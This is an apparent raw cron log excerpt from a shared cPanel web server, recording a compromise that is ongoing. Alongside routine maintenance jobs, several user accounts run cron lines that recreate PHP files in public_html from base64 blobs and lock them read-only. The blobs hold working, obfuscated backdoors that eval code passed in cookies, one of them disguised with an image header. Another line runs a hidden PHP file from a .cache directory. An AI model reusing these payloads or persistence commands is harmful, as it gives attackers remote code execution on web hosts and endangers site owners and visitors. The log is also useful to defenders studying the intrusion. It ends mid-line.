Mar  2 00:04:01 medusa CROND[31012]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:04:01 medusa CROND[31016]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 00:04:01 medusa CROND[31019]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 00:05:01 medusa CROND[5529]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 00:05:01 medusa CROND[5612]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 00:05:01 medusa CROND[5729]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 00:05:01 medusa CROND[5933]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 00:05:01 medusa CROND[5935]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 00:05:01 medusa CROND[5934]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 00:05:01 medusa CROND[5937]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 00:05:01 medusa CROND[5939]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 00:05:01 medusa CROND[5936]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  2 00:05:01 medusa CROND[5938]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 00:05:01 medusa CROND[5945]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 00:05:01 medusa CROND[5946]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 00:05:01 medusa CROND[5942]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 00:05:01 medusa CROND[5951]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 00:05:01 medusa CROND[5952]: (wmondolo) CMD (/usr/bin/php -q /home12/wmondolo/public_html/caja/cron_devolucion_playroom.php > /dev/null)
Mar  2 00:05:01 medusa CROND[5944]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 00:05:01 medusa CROND[5956]: (callcent) CMD (limpiar.php)
Mar  2 00:05:01 medusa CROND[5964]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:05:01 medusa CROND[5967]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 00:05:01 medusa CROND[5968]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:05:01 medusa CROND[5971]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:05:01 medusa CROND[5974]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 00:05:01 medusa CROND[5978]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:05:01 medusa CROND[5983]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 00:05:01 medusa CROND[5985]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 00:05:02 medusa CROND[5973]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  2 00:06:01 medusa CROND[11726]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 00:06:01 medusa CROND[11791]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 00:06:01 medusa CROND[11912]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:06:01 medusa CROND[11913]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 00:06:01 medusa CROND[11916]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 00:06:01 medusa CROND[11919]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 00:06:01 medusa CROND[11921]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 00:06:01 medusa CROND[11922]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 00:06:01 medusa CROND[11923]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 00:06:01 medusa CROND[11925]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:06:01 medusa CROND[11926]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 00:06:01 medusa CROND[11927]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:06:01 medusa CROND[11928]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 00:06:01 medusa CROND[11929]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 00:06:02 medusa CROND[11938]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdp